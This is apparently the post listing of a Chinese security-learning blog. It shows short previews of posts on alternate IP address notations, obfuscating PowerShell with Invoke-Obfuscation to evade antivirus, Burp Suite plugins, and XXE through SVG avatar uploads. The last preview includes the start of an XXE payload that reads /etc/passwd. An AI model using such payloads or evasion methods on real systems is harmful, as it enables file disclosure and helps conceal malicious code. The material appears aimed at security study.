学习笔记
未读
IP地址的10种表示方法
IP地址的10种写法 大多数精通技术的人都知道 是 的 互联网协议 (IP) 地址,许多精通技术的人都知道 是 的 互联网协议版本 6 (IPv6) 地址。127.0.0.1localhost::1localhost 是表示 IP 地址的唯一方法吗?127.0.0.1::1localhost 不,有
免杀
未读
免杀学习日记----使用Invoke-obfuscation免杀powershell脚本
免杀学习日记----使用Invoke-obfuscation免杀powershell脚本 引言 在网络安全领域,免杀技术是一种能够绕过防病毒软件检测的技术,它可以让攻击者隐藏自己的恶意代码,从而实现对目标系统的渗透和控制。免杀技术的发展和应用,对于网络攻防双方都具有重要的意义。 在本文中,我将介绍一
学习笔记
未读
我的burpsuite插件
我的burpsuite插件 urpsuite是一个非常强大的web应用程序安全测试软件,它可以拦截、修改、重放、扫描、爬行等各种操作,帮助渗透测试人员发现和利用漏洞。但是,burpsuite本身并不是万能的,有时候我们需要借助一些插件来增强它的功能和效率。在这篇博客中,我将介绍我使用的一些burps
学习笔记
未读
svg头像造成xxe
图片svg头像造成xxe 读取etc/passwd <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.